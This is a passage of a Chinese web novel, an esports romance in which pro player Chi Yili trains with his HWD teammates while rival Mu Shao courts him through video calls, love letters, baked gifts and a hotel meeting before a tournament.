全程牧绍都没有发挥任何作用,安安静静地就像是关了音量键一样。结算音乐过完后,池一黎才想起自己还和他正在通话,顿了下伸手去拿手机。 牧绍适时地开口说:“打完了吗?我刚刚没看到游戏画面。” 怎么会看不到游戏画面? 池一黎拿起手机,看到手机屏幕上显示的电脑界面也随着他的动作晃来晃去。 确实是后置摄像头,没有任何错误。 池一黎沉默几秒:“你看不到的话,可以给我说的。” “我也不亏,”牧绍笑起来,“嗯,很软。” “什么?” 牧绍看着手机录屏,继续说:“还很大。” 池一黎不知道他在还些个什么,看了下电脑显示的时间已经不早:“明天有训练赛,我先挂了。”又觉得牧绍是因为自己的疏忽才没看到游戏画面,补充道:“一会儿把安装包发给你。” 牧绍一听就知道他没懂,在对面没忍住笑了半天,不由得发现池一黎真的太好玩,开口想要解释:“我在说……” 但是话一出口,发现不是很对,索性继续闷声笑道:“嗯,那晚安,可爱的池一黎。” 第二天私下训练赛约到的是国内赛常年老四WGS战队。神龙不见首尾的教练姗姗来迟,见到池一黎带的技能后略微思考起来。 韩城看着界面大吃一惊,打了七年职业好像只有在整活视频里看到过这个英雄搭配这个技能,但是无条件信任道:“三水,我已经预感到你即将开创新潮流。” 池一黎“嗯”了一声,庄路弥和冯宙惯例第一场训练赛对局互换位置。冯宙说:“没见你拿过啊,你这是要在训练赛训练?” 韩城擅长的英雄被对面ban掉,他想了想,试探性的点击了中单。 白书罗取消了自己的预选英雄,看倒计时结束教练都没任何表示,叹气说:“行行行这样搞是吧,教练没问题我就没问题。” 池一黎见到这一通操作简直要窒息:“…我有把握……你们好好打。” 四个人动作一顿,教练说:“换回来”,默默在调整界面又把英雄交换了回来。 韩城为自己刚刚脑子犯抽选择中单英雄而迅速跪滑道:“我该死。” 庄路弥觉得自己更该死。 他在推塔的时候情绪上头大喊了一句“封烟!”。冯宙下意识按R键,一秒后看到自己冷却27秒的大招无语道:“给我干哪去了我靠,这是MOBA不是FPS啊!” R键在另外一个FPS游戏里是切封烟形态,但在《契约计划》是大招的键位,相当于辅助在偷塔时白白送了对面一个机会。 韩城笑疯:“头等功,庄狗请吃饭!” 池一黎冷漠地开口说:“再失误我就……” “……不理你们了。”白书罗确信接话道,“都好好打,训练赛不计入数据就不当回事了?一个两个的,惹三水生气等着挨我揍是吧?” 池一黎说:“嗯。” HWD虽然不比ZKS,但对上其他战队还是能保持常胜将军的地位,对面觉得会输就秒速投降,一场打下来三局结果完美3:0。 池一黎第一局结束就已经能顺利和队友配合上,到一周后的第二场时完全没什么大问题。 整体复盘时教练老梁脸色怪异,问:“私下和谁,牧绍吗?” 池一黎点头说:“嗯,是他。” “就上次他说要来俱乐部?” “嗯。” “我已经看到前路……”老梁扶额,“虽然更有优势了,但这说明你新搭配肯定也被他研究透了,我们到底什么时候可以拿冠军啊!” “会赢的……”庄路弥慎重道,“在单人赛。” 冯宙推了下眼镜,额头拧出三个点,对自己的队友彻底无语道:“……别玩烂番梗了哥们,你倒是好意思说出口。” 庄路弥叹气说:“但是……中单队长才输给云醒,打野对面可是牧绍,射辅咱们练了配合后勉强可以oneone,只有三点水一个拳打世一脚踢真神。老三对上全球六冠王,中间还隔了一个隔壁赛区的强队,我怎么都想不到赢的可能性啊!” “你怎么能这样说!”白书罗怒斥,“你们两个人叫twotwo!” “不可以涨他人志气灭自己威风啊庄菜儿!”韩城猛地从凳子上站起来,热血沸腾地喊道:“只要坚信下去,我们一定会赢的啊!不是今年就是明年,明年不行还有后年,大后年……总之,我们可是有世界第一上单的大宝贝在的!” 全场的目光看向自己,池一黎握着水杯,在激荡的回音里,慢半拍的点了下头。 韩城这番话太过激励人心,老梁欣慰且赞同地扫视过去,掏出手机联系赛训团队让他们抓紧时间分析即将到来的新赛季趋势。 冯宙在池一黎低下头战术性喝水后才反应过来,震惊开口:“你说的好燃啊我竟然无法反驳……但这里面就属你最菜了啊我说!” 第45章 官方结束赛季更新, 十天后第一阶段常规小组赛开赛。HWD身为公认电竞强队,依据最新更定的章程默认从第二阶段开始参赛。 韩城看着手机上不久前发布的官方页面叼薯条:“我每年都要说这安排是个啥玩意儿,哪家赛季更新的时间有它恶毒?这冬季赛也不怕把老子金贵的脑子冻坏。” 冯宙一边下围棋一边淡然道:“你哪里来的脑子?” 庄路弥看着他:“辅儿啊, 我怎么感觉你从WQG转来后,嘴这是一天比一天毒了。” “谨遵教诲,向牧绍看齐。” 庄路弥转头问韩城:“我爸说话有这么难听吗?” 牧绍在看不起人的比赛中不用投票即□□获联盟第一, 韩城不假思索地回答:“你这还用问?” 一个看番把脑子看坏的,一个磕cp已经魔怔的…… 冯宙回忆起当初听到HWD上任辅助退役、梁教练去原本战队高价买他时的那阵不可言说的喜悦,想倒流时光回去给激动到三天没睡着的自己当背一巴掌。 什么可靠又帅气的队友, 什么神挡杀神的预备冠军得主, 什么世界顶级豪门强队……快跑!这里不是家啊傻孩子! 冯宙扶了扶黑框眼镜,在平板上对着五子棋局打出四张A,又被对方一手三国杀的闪牌躲避, 皱眉抬头,看到拐角处池一黎向这边走来的身影。 池一黎正在摘帽子,动作间随意抬眸看过来一眼,又冷然移开视线。 他身上穿着简单且毫无任何修饰品的衣服, 迈腿时凌冽到撕破次元, 周身都仿佛围绕着冰冷的气息,眼神中凝聚着薄凉与沉稳, 举手投足之间都写满八个字: 这个男人,值得信赖。 冯宙不禁暗想:这才是我想象里完美的大神级玩家啊! 池一黎手上提着一个不透明的大袋子, 走到客厅,还没来得及抬手把东西放到餐桌上,韩城一个铲滑闪现就把袋子捧到手里。 “三水,太后今天做什么好吃的了?” “烘培制品。”池一黎说。 他妈妈为了庆祝新赛季开赛做了一个小蛋糕。蛋挞也是才烤出来的,池一黎开车过来, 到手甚至还是温热的。 “凭什么他先吃?我也要!”庄路弥一个鲤鱼打滚和韩城挤到一起,把蛋挞取出来。 剥下铝纸皮他才猛地想起来什么一样,转头说:“哦对了三点水,你的快递我放到房间门口了。”庄路弥开始挤眉弄眼,“又是我爸寄的。” 看样子庄路弥喜欢认人当爹的毛病一时半会完全好不了,池一黎把帽子搭在椅子背上点点头。 房间里还放着牧绍一个半月前寄给他的两大箱东西,说是ZKS其他人给的赛季末小礼物,HWD四位队友已经回了礼。 池一黎开箱后拿出来的第一个礼品袋就拆出了三盒不同型号的小雨伞,思维短暂宕机,箱子到现在还一直搁置在那里。 好在房间够大,堆在角落也不会占地方。 牧绍早上打电话说这次寄来的是他烤的棉花糖和一些饼干,池一黎把快递抱到房间里,去翻小刀的时候,突然想起被他塞到抽屉最里面那一沓厚厚的书信。 池一黎只看了第一页。 一思考到关于和牧绍怎样这方面的事情就会脑子混乱。但他的性格按道理来讲并不优柔寡断,如果察觉到想在一起就会立刻行动,和牧绍……他还是有点搞不明白。 从莫名其妙的告白开始,拒绝和不拒绝好像都会是一种结果。近四个月的漫长休赛期只经历短暂眨眼,就已经习惯了牧绍每天发送的日常问候和打扰。 这个人充满不确定性,随即产生诡异的期待。 视野里看到手机屏幕上弹出来的最新消息。牧绍问他棉花糖味道怎么样,池一黎把快递放正,抬手去拿一旁的美工刀。 拆开后里面是很大的一个磁吸礼盒,国际惯例陪同邮寄的A4纸平铺在最上面,飘逸奔放的字体密密麻麻,池一黎简略地看了一眼开头,把它反手扣上。 不同形状颜色的夹心饼干被总体放在一个大包装袋里,里面每一个都用小机器人图案的密封袋单独包装,异形小标签龙凤凤舞地贴在右上角,上面写着“池一黎专属”。 池一黎拆了一个卡通小猫塞到嘴里,点开屏幕去回牧绍的消息,刚输入两个字,眼熟的视频通话接通按钮就弹了出来。 铃声界面自动显示对面昵称为“娇气包饲养员”,牧绍每隔三天就要换一个意义不明的昵称,池一黎嚼嚼嚼,棉花糖曲奇夹心,他喜欢这个味道。 “味道怎么样?”牧绍靠在电竞椅上懒洋洋说,“你喜欢的口味我都做了一个。” 池一黎把手机靠在韩城给的蓝色奶油胶手机支架上,说:“嗯。” “嗯是什么,非常喜欢?”牧绍用手撑在下巴上,捕捉到屏幕里池一黎一闪而过白到反光的肤色。 镜头没有停顿地飞速移动,很快对准了礼盒的方向。 牧绍看着那张纸,点点屏幕问:“有什么想对我说的吗?这张情书我非常认真地写了很久。” 池一黎捏起纸张一角,想到刚刚的第一行字,说:“还没看。” “我猜到了——刚好还留了十几张备份,”牧绍从一旁的抽屉里拿出一张一模一样的A4纸,屈起指节弹了弹,发出清脆的声响,懒散笑道,“那我趁现在读给你听好了。” “……亲爱的池一黎,基地今天有人带了一只小雪貂,浑身雪白,一戳就不理人,睡觉时还会把自己蜷缩成一团。我觉得很像你,一掉眼泪就开始闹脾气,看起来非常可爱……” 池一黎说:“没有闹脾气。” 牧绍觉得有些好玩:“你这句话就很像。” 池一黎拆了一个饼干,重复道:“没有。” 牧绍怎么这样讨人烦。 像是知道他心里在想什么,牧绍继续读:“……虽然总是说讨厌我、嫌我烦,但是脾气未免太好。说什么都有回应,随便编个理由哄一下就会同意天天和我打视频,是不是下次见面可以继续牵你的手,下下次见面就能和你接吻……” “一周前我把微信昵称改成‘笨蛋甜心守护者’,联盟群里那些人问我守护的甜心是谁,我回答说:是池一黎啊。他们看起来很是惊讶,我觉得有些得意,看来不一样的你只有我一个人看到过。 三天前我想了一个和你对称的名字,晚上又想把昵称改成其他的,但是你还没有接受我的追求,于是我在想,什么时候才可以光明正大地把昵称改成‘AAA池一黎男朋友(唯一特殊版)’。” 池一黎把自己窝进电竞椅里,叼着饼干不说话。 “是不是又在嫌我烦,”牧绍哼笑:“那我多烦烦你。烦一烦你就只会对我一个人说讨厌了。” 池一黎咬碎饼干,有些不理解。牧绍是有被人讨厌的癖好吗。 “我继续读了。”牧绍说,“最近天天都能梦到你,梦到你是甜心宝贝,我是守护甜心……” “你好奇怪,牧绍。”池一黎开口,“我和你眼里的一点也不一样。” “但是你就是这样啊,亲爱的池一黎。”牧绍把纸张折了下说,又认真的朗读道:“我喜欢你强大中的脆弱,漂亮到非常迷人。” “我从早上睁眼就开始想你,一直到你接通电话的前一秒,”牧绍继续说,“池一黎,我想看看你。” 手机屏幕里的另一边半晌没有任何动静传来。只有刚刚他说话时有一只手短暂入境把礼盒拿走。牧绍静静等了几分钟,如愿以偿看到屏幕里池一黎的脸。 鼻梁上的那点痣在摄像头的像素下照的过于清晰,池一黎半靠在电竞椅里,嘴里还含着一块吃了一半的棉花糖饼干,少部分融化的糖霜残余沾在唇珠上,在灯光的反射下映射水润的光泽。 礼盒被关好放到架子上,池一黎握住鼠标点开电脑屏幕,说:“你真的好奇怪。” 池一黎想不通平平无奇的外表到底有什么好看的,牧绍每次打来视频通话都说要看他。 牧绍懒懒地切换投屏,把手机放到一旁的架子上。染回黑色的微长头发遮挡住眼睛,被他捋起薅到一边。 “池一黎,你怎么这样好说话,”牧绍按下录屏,“我都有点嫉妒你的队友了。” 和他那四个傻狗队友之间又有什么联系? 池一黎不对准自己的时候,牧绍就会拐弯抹角地用各种理由骗他转换摄像头,现在得逞后又是这样一副样子。 “我上次寄的那两箱你拆完了吗?我才知道从松闵往里面放的全是……”牧绍停顿了下,想起之前偶然间看到的、画面里完全没动过的两个大礼盒子,不知道是该开心还是不开心。 牧绍感觉自己驰聘各大同人文,池一黎却还是这样半知半解的样子,不由得勾唇道:“那到时候我和你一起拆。” 话音落下,他又紧接着补充:“追到你的时候。” 池一黎只是很多东西没接触过,又不是真的一点都不懂,思考怎么回这句话,手机上弹出从松闵发来的消息。 昵称是“好玩的编外祖父”的人一连发了一大串,问他牧绍现在在干什么,是不是又在房间里给他打电话,要他催后者收拾收拾下楼去训练。 后半句的原话是:【训练复盘刚一结束他就跑回房间和你打电话了,等晚上再打,快点先把这小子赶回来。】 “我要挂了。”池一黎索性说,“你好好训练。” 牧绍显然也收到从松闵的信息,他随意把消息划走不看,对池一黎说:“但是我今天还没看够你。” “那晚上再打。” 牧绍愣了愣,只零点几秒的反应时间,界面却显示池一黎已经挂断了电话。他点击录屏软件,滑到最后,确认了五六遍自己没有听错,忍不住笑着打开微信连续戳了戳池一黎。 他想说你是不是也喜欢我了,又想问那晚上打视频可不可以不挂断,最后感觉自己的问话实在多此一举,池一黎一直以来都没有真的拒绝过自己。 回过神来一整个屏幕就都是自己发的消息。牧绍哼着调收拾好拿起手机下楼。 为图方便,ZKS基地的宿舍和训练室在一栋楼里,从松闵正在训练室门口站着。 牧绍给他打招呼:“下午好啊,你怎么知道池一黎晚上要给我打电话?” “舍得下来了?”从松闵说:“没人想知道,nobody care。” 伍于起拿着一杯奶茶从里面走出来,迎面也撞上牧绍的一句:“下午好啊,你怎么知道池一黎晚上要给我打电话?” 伍于起陷入不解:“你们之前没打吗?” “这个不一样。”牧绍强调道。毕竟是‘池一黎给我’打。 一顶褪色的浅黄毛从一旁凑过来,嘴上叼着块焦黄的饼干,那是牧绍在烘培出最完美的那一版前的试验品:“勺儿,你确定我偶像不是被你烦的?” 手心里手机的特别关心提示音响起,牧绍看向屏幕,池一黎刚刚好发来一句: A甜心娇气包:【你好烦啊,牧绍。】 第46章 国内赛上一届是在ZKS俱乐部所处的沿江城市举办, 今年赛方选择的是一座内地城市。 第二阶段赛程开始,HWD俱乐部老板掏钱定下最豪华的五星级电竞酒店,战队队员单人单间, ZKS就住他们楼下。 代乐发房间卡的时候笑道:“ZKS在咱们楼下那一层,开局就已经压他们一头,这是个好征兆。” “这征兆真好啊, ”庄路弥接话:“三点水是池一黎,那这把岂不是更稳了。” 语调中的‘一’被他刻意下重音强调。白书罗若有所思地说:“怪不得你最近和从松闵天天在各种地方吵架。” “这是个需要一辈子捍卫的立场,”韩城想起从松闵新改的微信昵称就来气, 沉痛地说:“看来我们HWD天生就与ZKS势不两立。” 池一黎把房卡接到手里:“我先进去了。” 庄路弥一路跟着他走:“爹, 这是场没有硝烟的战争啊!结果就掌握在你的手里——” 一周前一个普通的周一,牧绍在晚上十点半突然开直播。无数粉丝为这场突如其来、没有官方预告的额外媚粉举动放鞭炮庆祝,直播间里一片欢呼雀跃。 当时牧绍已经训练结束, 投屏分享的电脑界面显示在玩植物大战僵尸的废物改版。 他直播的时候一向懒得说话,偶尔开口就是嘲讽的调子,照论坛里说就是单纯的不屑与凡人交流,粉丝已经习惯起来。 一共播了十五分钟, 打了三局, 伍于起前一秒还在感叹说牧绍终于会自己主动补直播时长,后一秒就看到他移动鼠标点开了右下角闪动的微信对话框。 牧绍没有开手机与电脑的同步消息, 唯一置顶叫‘A甜心娇气包’,看不到任何消息记录, 只孤零零发来了一句:【训练结束了吗?】。 其他的聊天框是一堆乱七八糟艾特他的群聊。还有一个备注为队长的人,三分钟前分享了一条因字数限制只显示半个名字的视频:《恋爱心理学,如何迅速掌握……》,框框后边跟了一个红点,未读消息27条, 设置了消息静音。 牧绍打字回复置顶:【我一直在等一个绿色的选项】 什么选项?直播间的粉丝跟着他一起等。 几分钟后,对面弹出来一条视频通话申请。 牧绍笑了声,留下一句“好玩的池一黎给我打视频,各位再见”就秒速下播。 只看了十七分钟的粉丝在黑屏的直播间呆愣许久:【……不尔,你说这备注是谁?甜心是谁?娇气包又是谁?玄幻片我靠,我耳朵没坏吧?虽说只能看到冰山一角,但这另一角给我干哪去了?!】 听到开播消息才赶来的其他粉丝敲字:【嗯?不是刚开播吗?怎么黑屏了?】 不磕cp的粉丝emmm:【村长你应该庆幸自己是电竞选手,是爱豆的话我现在就把你投了,不行啊好气我还是要投!】 看着他秒速关机,拿起手机就跑的队友:…… 从松闵拿出手机:【勺儿啊,看着那个静音标识我很是心痛,之前需要我的时候你可不是这样的(尔康手)】 庄路弥当晚在论坛照常高速冲浪,看到一篇热帖,名叫《李涛,冰山酷哥其实是哭包甜心娇气包笨蛋可爱鬼的可能性》,简介是‘还有一些称呼放不下了,以上摘自村长语录’。 庄路弥好奇地点进去,发现里面全是逆家在刷屏。 怎么可以?! 他当即叫上韩城一起开小号当水军,以此证明“冰山男虽然是哭包甜心笨蛋balabala,但他仍然是冷酷无情的联盟第一双开门攻”这一论点,然后发现对方活跃最高的那三个人ip非常之眼熟。 高智商少年冯宙顺藤摸瓜抽丝剥茧,经过一系列套话,在对方说出互寄礼物这个只有他们知道的信息后,发现那疯狂带节奏还等级不低的小号们,皮下原来是ZKS射手从松闵和他的两个队友,上单徐克山与辅助伍于起。 庄路弥大怒,六个人建了一个群在里面激战三天两夜,最后谁也没有服谁。 而一切只是因为池一黎照着牧绍刷屏文字中的【我十点半下训】【你说的晚上再打】给他拨了一个视频通话。 庄路弥所说的‘没有硝烟的战场’是什么?但听起来很严重的样子,他掌握结果,还牵扯到ZKS和HWD?于是池一黎关门前“嗯”了声,淡然而视,谨慎道:“我会努力的。” 听到这句话,庄路弥在门外抬左腿握拳:“yes!” 韩城抬右腿握拳:“yer!” 正要转身回自己房间的冯宙秉持怀疑态度:“你们确定他理解的话题和你们的一样?”他非常不理解地说,“还有,你们对人家俩个感情这么上心干什么?又不是你们谈。” “你才十九岁,你不懂,”二十五岁大龄网瘾青年韩城说,“正因为是他俩,所以这是六年来的尊严之战。” 虽然他和队友坚定一条战线,但冯宙感觉从上次全明星过后就搞不懂这个世界了。 今年三月份,池一黎和牧绍分别与新公开的云醒引发大规模讨论,紧接着六月牧绍和池一黎就开始频繁上热搜,然后现在他两就谈了。突然之间全世界就开始了某种大型ooc的崩坏。 代乐叹气说:“你们把这份八卦的心情用到训练上,说不定我们现在已经是冠军了。” “天赋上限在那里,不是努力可以弥补的啊。”庄路弥说,“就像下方的战队拼尽全力也无法战胜我们一样,韩城被我爸吊打多正常。” 韩城怒道:“你个吃里扒外的狗东西……我要去找三水告状!” 拖腔带调的声音在身后响起,牧绍从拐角走过来,穿着亮蓝色的卫衣,手上提着一袋插着蓝色花束的礼盒,扫一眼毫不客气地说:“菜成那样了还告什么状,想惹他不开心?”话毕,站定后挑了下眉,“我家池一黎在这个房间?” 池一黎已经在房间内熟练地打开电脑。 这家电竞酒店固定和联盟合作,配备的设备处理器和显卡都和平日里用的没什么区别,哪怕单人间也配置了一张大床。 《契约计划》太火,联盟登记在册的战队一共有二十支,到第二赛程进军十二强,一天两场。ZKS战队明天打首场,后天轮到HWD。 赛制是淘汰组+胜者组并行,意味着在决出六支季后赛战队前,两个战队不会碰到一起。 ZKS比他们先到,在场馆转悠了半天,牧绍听到他到酒店后发消息说也马上回来,场馆离酒店不远,算上路程的话现在应该快到了。 电脑消息端爸爸在三口之家里连续分享了一个采访视频剪辑,配了两个小人叹气和小人哭泣的表情包。池一黎点进去,是一个月前补录的团体采访,不知道怎么现在被他刷到。 采访有队友在的情况下池一黎一向不怎么说话,但是架不住提问的人都喜欢特意问他。 趣味快捷问答中有这样一个环节,是随机抽取粉丝留在提问箱里的问题,设置的是一键全录入+电脑自动选取。 这些粉丝都爱问一些和游戏内容完全无关的话题,动不动就拐到选手自身身上,妄图想把祖宗十八代都扒的一清二楚。 有人问池一黎:“四个好玩的完美队友出去旅游,村长来找你,所以你是不是喜欢村长多一点?”,还有人问池一黎:“出去玩时愿意和帅哥队友一起,还是愿意和男朋友木勺一起?” 在队友们紧张的期待里,池一黎冷漠地开口说:“我不出门。” 活泼潮流男大:【唉,上次刚放假都说要出去逛一逛,粒儿你现在真的太宅了。】 活泼潮流男大:【还有,你和那小子真谈了?什么时候让他来觐见一下联盟公认的太皇太上和太皇太后?】 活泼潮流男大:【还是说你在谈一场现在流行的快餐式恋爱,所以还得等下一个有缘人来见我们?】 AAA智慧领袖:【闲的话去和学生拍段子,别打扰我儿子比赛。】 池一黎在对话框里慢吞吞地发了三个点,刚刚关上聊天窗口,套房的门铃就被按响。 他点击《契约计划》的图标,看到显示进入登录加载界面,才放下鼠标站起身去开门。 牧绍的衣服颜色很亮,站在门口反射走廊的灯光。习惯了低头看人,猛地又遇到和自己身量差不多的存在,池一黎被亮蓝色占据了全部视野,反应过来才抬起眼睛去看他。 “下午好啊,池一黎。”牧绍把花轻轻放在他微长发丝下的耳畔,“我天天都在想你。” 几个月没见,池一黎和屏幕里完全没有区别,套着件宽松的纯黑色连帽卫衣,衬得肤色白皙,轮廓凌厉,脸上一贯的看不出什么波澜。开的灿烂的花缀在耳畔,池一黎摘下来,浅色的眸瞳也映照出一点蓝。 牧绍靠着门框扫过池一黎鼻梁上那点痣,目光自然垂眸落到他穿着宽松卫衣仍旧微微凸显的胸口,又很快收回了视线。 没追到就不加掩饰的耍流氓是大忌,牧绍看书学习很认真。 “见面礼。”他把礼盒递过去,在池一黎接到手后自然开口,“我和你一起整理房间?” “作为交换,一会儿陪我这个……孤独且没有队友陪伴的可怜人士出去逛一圈?” 第47章 池一黎带的东西不多。 代乐是个过于负责的年度十佳好经理, 主要也是俱乐部老板工资开的高,也真把他们当什么都不懂的网瘾少年。房间该准备的也都让人准备完毕,入住如同回家一样令人安心。 但是酒店一住就要住到季后赛, 惯例回房后要对房间进行再次消毒。他先前进来后只先清理了电竞桌椅,等全部弄完的时候已经过去了两小时。 电脑上还停留在《契约计划》的登录界面,牧绍帮他摆放架子时撞到鼠标, 没忍住笑出来:“好玩的池一黎,你怎么刚到就打游戏啊。” 池一黎往床头放下一盆超小型仙人掌,说:“嗯, 没事干。” 池一黎不看微博不逛论坛, 父母和朋友不叫的话也不喜欢出门,爱好不多,基本常态就是窝在房间里打游戏。平时训练基本一训就是一天, 也没有时间让他多余去干其他事情。 中性笔在指节处翻飞,牧绍把最后一个杯子放在架子上,曲腿靠在桌边看他。 往常见面时,池一黎的头发长度没有一次是过耳的, 这次发丝被留长, 遮盖住过于冷硬的轮廓,无辜收敛起不好接触的压迫感, 气质上多了几分清冷的感觉。 纯黑色的发丝自然落在他的肩膀上方,又随着他弯腰的动作向前滑动, 不管从哪个角度来看外形都透露着优越。 和浅色的眼珠对视上的瞬间,牧绍把笔放回桌子上,笑着感叹:“池一黎,你真好看。” 池一黎直起身体,牧绍说的太多, 他对这句话已经没有什么反应。 “收拾好了出去吃饭?我开了车,”牧绍从卫衣口袋里拿出一根棒棒糖,拆开叼进嘴里咬碎咽下去,再把糖棒扔到垃圾桶里。 走过去的同时,顺便进行今日份的每日一问,“所以今天有一点点喜欢上我了吗?” 他身量过高,不长的距离迈开腿几步就可以走到,但是牧绍只顾着去盯池一黎的脸,半晌才走一步。走的过于缓慢。 池一黎想了想:“……有一点。” 话音刚落下,牧绍前进的动作停滞一瞬,左腿绊右腿,直直地向地上以迅雷不及掩耳之势栽下去。 好在他反应很快,在要和地面亲密接触前,猛地单手抓住一旁的椅子把自己撑起来。 池一黎的脸近在咫尺,牧绍在零点一秒的对视里,在眸瞳中看到自己的身影。趁着池一黎没反应过来要开始躲避前,一把搂住他的腰,借着惯性抱着他摔到柔软的床铺上。 被隔着薄卫衣紧紧搂住,牧绍在他脖颈蹭了蹭,甜腻的呼吸撒在皮肤上:“池一黎,我好开心。” 空气寂静下来,池一黎还没有和一个人这么亲密接触过,脖颈被发丝扫过的痒意上来,不适地想后退,但身下就是陷进去的被褥。 牧绍整个人的重量都压在他身上,身躯紧紧相贴,池一黎伸手去推他,慢半拍感受到从对方胸腔里传来的、极速有力的跳动声音。 池一黎推拒到一半就没了下文的动作太轻,完全可以忽略不计。冷白色的肌肤就在眼前,行为比大脑反应还要快,牧绍下意识张开嘴叼起一小块,在牙齿间轻轻磨了磨。 下一秒,被他搂住的人反条件性地颤抖了一下,牧绍松开嘴,看到脖颈最中间的那块皮肤上显现出明显的暧昧齿痕,心虚地用舌头舔了舔,后知后觉地发现自己犯了网络教学书上的大忌。 但他顿了下,抬眼看到池一黎眼眶沾红,眼睫微微颤动,似乎下一秒就要掉下眼泪,于是厚着脸皮请示道:“我想亲你。” 池一黎转过脸不看他。 牧绍把他抱紧,触碰到的一切都软绵绵,又低下头去蹭他的脖子:“为什么,你都说你也喜欢我了。” 池一黎闷闷拒绝道:“我没有答应。” 牧绍说:“但是你也喜欢我。” 刚刚的话的确是自己说出口的,池一黎沉默了一下:“……更讨厌了。” “更讨厌我……意思是比起喜欢更讨厌我吗?” "嗯。" “所以你就是喜欢我,”牧绍笑起来,凑过去快速啄了下他的嘴角,如愿满意地闷笑道:“池一黎,你怎么这样。” “你在强词夺理,”池一黎抿唇道:“起来。” 牧绍宛如泰山般分毫不动。 隔着卫衣的那双手臂太紧,池一黎一点也推不动他,索性冷下脸说:“再这样我不理你了。” “你怎么和小学生一样。”牧绍得寸进尺地再用嘴唇点了一下刚刚被自己咬出来的痕迹,看着池一黎喉结轻颤,只能被迫扬起脸毫无威慑力地瞪自己,笑说,“怎么就会说不理我 。” 池一黎不和他说话,牧绍就抱着他不放,两个人就这样抱了十几分钟,池一黎保持的面无表情都被他的不要脸破功:“你好幼稚。” “你说还会理我,我就放开你。” 池一黎转过脸。牧绍逗完又怕真惹他生气,松开手起身哄道:“池一黎,你生气了吗?” “我只是听到你的话太开心……对不起,是我的错,我保证以后肯定不会再这样。” “你不让我亲,我绝对管住嘴……不然我就是小狗。”牧绍做了一个拉上嘴巴的动作,又问:“我做了好多你喜欢的味道,要吃糖吗?” 池一黎坐直身体,垂眸看着他拆开包装递到嘴边的粉色硬糖,好半天才张开嘴,腮帮子鼓起,但还是不和牧绍说一句话。 至少还会和自己互动,就是没有真的生气。 牧绍就知道他是这样的性格,看到脖颈处完全遮盖不住的那枚痕迹。池一黎皮肤敏感,短时间内完全消不下去,笑意重新回到嘴边,“不要生我的气了,要不你踢我一脚解气,然后我们一起去吃饭。” 池一黎用指腹摸了摸刚刚发痒的地方,低声说:“没有生气。” 话一出口,又感觉好像在哪里说过。牧绍简直屡教不改,还越来越过分,拿准了池一黎和外表的不近人情完全不一样、实际上一哄就好的性格。 “那我们一起去吃饭?” 池一黎眼尾染红,但有之前一次被惹哭的经历,很快就咬着糖把即将掉出来的眼泪逼回去:“我不想吃饭。” “那我陪你打游戏?” 池一黎想也没有打游戏的心情,转眼一想,到了饭点也不能真的置气不吃饭,但刚刚单纯为了反驳牧绍才说了不吃,于是又闭上嘴不说话了。 没有转变追求的心态前,基本池一黎的想法牧绍都知道。但说出要追求后,好像池一黎整个人都蒙了一层纱,心思变得怎么也猜不透起来,行为和话语就会总是惹对方生气。 但刚刚猛地听到池一黎的回应,牧绍好像又回到对方想什么自己都能知道的状态。 这种心态过于奇妙,牧绍故意说:“那不打游戏,也没有生气。陪我出去转一圈?进门前答应过我的……再顺便吃个饭,包厢已经定好了,不去是不是有些浪费?” 答应别人的事情一贯不会言而无信。池一黎下意识嗯了一声,反应过来时已经被他拉起来牵着走出了门。 一路站到电梯里,池一黎渐渐平复下来,发现自己有些过于情绪化。他明明平时都会控制好情绪的,怎么刚刚又快要掉下眼泪。 池一黎冷住脸,但牧绍还在一旁哄他开心,舌尖的糖一咬就碎,顿时又觉得自己这样对他冷脸有些过分:“你不用这样,是我没控制好。” 牧绍扣着他的手 ,被他的言论逗笑:“池一黎,你怎么能这样好说话。”他说,“刚刚是我把你惹生气,但你这样,下次我会忍不住更过分的。” “我下一次就……”牧绍一边说一边慢腾腾地凑过去,在池一黎抬眼看自己的时候,毫无征兆且快速地贴上他的嘴唇,又迅速的退回去,和什么都没干一样笑道,“……像这样,直接不打招呼地亲你。” 他的速度过快,只眨眼功夫人就已经退到原来的地方。池一黎捋清楚刚刚房间里的前因后果,任凭他怎么在耳边说话都保持冰川般的面无表情。 但手还被自己牵着,牧绍忍不住又想去逗他,又怕适得其反,纠结地扣着他的指头向前走。 明天晚上开赛,今天入住的选手和赛训团队人员不少。酒店一楼人很多,牧绍不久前回来时把车停在了门口,拉着他往外面走。 鸭舌帽不在身边,池一黎戴上卫衣帽子,把脸笼罩在宽大的兜帽下,冷不丁开口说:“你说的,我不让你亲……” “汪。”牧绍果断地叫出口,叫完又懒洋洋拖腔道,“……我就是小狗?”他转头问,“小狗多可爱的,我多叫两声的话,是不是可以多亲你两口?” “而且我是小狗你是什么?”牧绍继续说,“雪貂和我会有生殖隔离的,你现在是闹脾气哭哭小狗。” 池一黎反驳说:“我今天没有哭。” 顿了下,在牧绍以为他会说些什么的时候,池一黎又补充道:“也没有闹脾气。” “你怎么抓这个重点。”牧绍在车门口停下来,拉开副驾驶座的车门看着他,不知道该摆出怎么样的表情,“池一黎,我感觉欺负你有一种……” “三点水!一看帽子就知道是你了,你怎么在这站着?” 庄路弥从不知道哪里跳出来,手上抱着一桶卤菜。池一黎顺着他的方向向后看过去,有三个人也在向这边走过来,各抱着一堆东西,看样子刚从酒店旁边的小吃街逛回来。 白书罗狐疑的扫过池一黎脖子上鲜艳的红痕,被黑色衣帽和冷白皮肤反衬地过于明显 。他问:“大宝贝,你们这是去哪?” 牧绍随意一望,看到一旁自己战队射手从松闵和上单徐克山的脸,懒散道:“约会,你们也来吗?” 从松闵欲言又止,徐克山看起来异常激动:“偶像又见面了!不是偶像,上次我寄的那堆东西你……” 庄路弥提着他的衣领把他拉到一旁,一边摆手一边说:“既然是约会那我们就不打扰了,晚上回来的早来队长房间玩狼人杀!” 几个人突然地来又突然地走,池一黎嘴还没张开,四个人已经一溜烟地返回了酒店。 池一黎转头接着问:“……有一种什么?” “有一种在欺负的感觉。”牧绍气定神闲地接话,勾唇道,“晚上早点回来吧。” 第48章 吃完饭池一黎被牧绍拉去公园散步。 虽然已经过了秋分, 但是天气温度没有太凉。公园人不多,门口是聚众做广播体操的中老年人,往里面走的湖泊旁有很多放电子风筝的小孩子, 七彩的动物图案点在黑蓝色的天空上,灯光下地面都被衬的五颜六色。 牧绍拉着他走了不到五分钟,先是指着白色灯光的一个小狗说这个像你, 过一会儿又指着另一个粉红小猪说那个像你,都指完了一圈,最后煞有其事地点点头, 说:池一黎, 我看什么都像你。 什么都像的池一黎把天空扫视一遍,低下头咬了口冰棒。 糖吃的太多会腻,刚刚牧绍给他塞了一块水果薄荷糖, 